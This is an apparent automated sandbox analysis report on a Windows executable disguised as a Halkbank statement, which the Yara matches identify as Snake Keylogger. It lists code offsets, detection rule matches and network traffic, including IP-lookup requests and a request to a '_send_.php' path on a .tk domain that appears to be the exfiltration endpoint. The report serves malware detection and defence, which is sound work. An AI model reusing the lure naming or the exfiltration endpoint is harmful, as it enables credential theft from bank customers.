Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0662C809h	3_2_0662C560
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 066217D1h	3_2_06621520
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0662C3B1h	3_2_0662C108
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0662CC61h	3_2_0662C9B8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06621C31h	3_2_06621980
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0662FC29h	3_2_0662F980
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06622658h	3_2_06622586
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06638D95h	3_2_06638A58
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06635D11h	3_2_06635A68
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 066388A9h	3_2_06638600
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06636169h	3_2_06635EC0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06636A19h	3_2_06636770
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 066365C1h	3_2_06636318
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_066337FA
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06636E71h	3_2_06636BC8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 066302E9h	3_2_06630040
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 066372C9h	3_2_06637020
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_06633808
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06630B99h	3_2_066308F0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06637BA1h	3_2_066378F8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0663774Ah	3_2_066374A0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06630741h	3_2_06630498
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06630FF1h	3_2_06630D48
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06637FF9h	3_2_06637D50
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06635891h	3_2_066355E8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06631449h	3_2_066311A0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06638451h	3_2_066381A8

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /xml/191.96.150.225 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/191.96.150.225 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/191.96.150.225 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/191.96.150.225 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/191.96.150.225 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/191.96.150.225 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/191.96.150.225 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/191.96.150.225 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /_send_.php?TS HTTP/1.1Host: scratchdreams.tkConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.67.177.134 172.67.177.134
Source: Joe Sandbox View	IP Address: 104.21.27.85 104.21.27.85
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: checkip.dyndns.org

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.5:49708 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/191.96.150.225 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/191.96.150.225 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/191.96.150.225 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/191.96.150.225 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/191.96.150.225 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/191.96.150.225 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/191.96.150.225 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/191.96.150.225 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /_send_.php?TS HTTP/1.1Host: scratchdreams.tkConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: scratchdreams.tk

Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B4E000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002A65000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B06000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002AF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B4E000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002A65000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B06000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B2F000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002AF8000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.00000000029A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B4E000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B06000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002A7D000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002AF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.00000000029A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://scratchdreams.tk
Source: Halkbank_Ekstre_20230426_075819_154055.exe	String found in binary or memory: http://tempuri.org/DataSeta.xsd)Microsoft
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B4E000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002A65000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B06000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002AF8000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002A65000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/191.96.150.225
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B4E000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B06000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002AF8000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/191.96.150.225$
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://scratchdreams.tk
Source: Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://scratchdreams.tk/_send_.php?TS

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown

HTTPS traffic detected: 104.21.27.85:443 -> 192.168.2.5:49726 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 3664, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 3664, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 6052, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 6052, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 0_2_0255D424	0_2_0255D424
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 0_2_027040AA	0_2_027040AA
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 0_2_02700040	0_2_02700040
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 0_2_02700007	0_2_02700007
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 0_2_06D4C1E0	0_2_06D4C1E0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 0_2_06D46A00	0_2_06D46A00
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 0_2_06D40040	0_2_06D40040
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 0_2_06D4A878	0_2_06D4A878
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 0_2_06D40006	0_2_06D40006
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_007AACC0	3_2_007AACC0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_007AD89C	3_2_007AD89C
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_007AFA50	3_2_007AFA50
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_007ABFEC	3_2_007ABFEC
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_00E14758	3_2_00E14758
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0100C1F0	3_2_0100C1F0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0100B388	3_2_0100B388
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0100C4D0	3_2_0100C4D0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0100C7B2	3_2_0100C7B2
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_01009848	3_2_01009848
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_010068E0	3_2_010068E0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_01004B31	3_2_01004B31
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0100CA92	3_2_0100CA92
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0100BC32	3_2_0100BC32
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0100BF10	3_2_0100BF10
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0100B552	3_2_0100B552
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_010035CA	3_2_010035CA
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0100F4E8	3_2_0100F4E8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0100F941	3_2_0100F941
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0100E9F8	3_2_0100E9F8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0100EA08	3_2_0100EA08
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06620C60	3_2_06620C60
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06620040	3_2_06620040
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06629080	3_2_06629080
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06624490	3_2_06624490
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662F528	3_2_0662F528
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_06621DE0	3_2_06621DE0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_066289B0	3_2_066289B0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662D268	3_2_0662D268
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662D258	3_2_0662D258
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662CE01	3_2_0662CE01
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 3_2_0662CE10	3_2_0662CE10
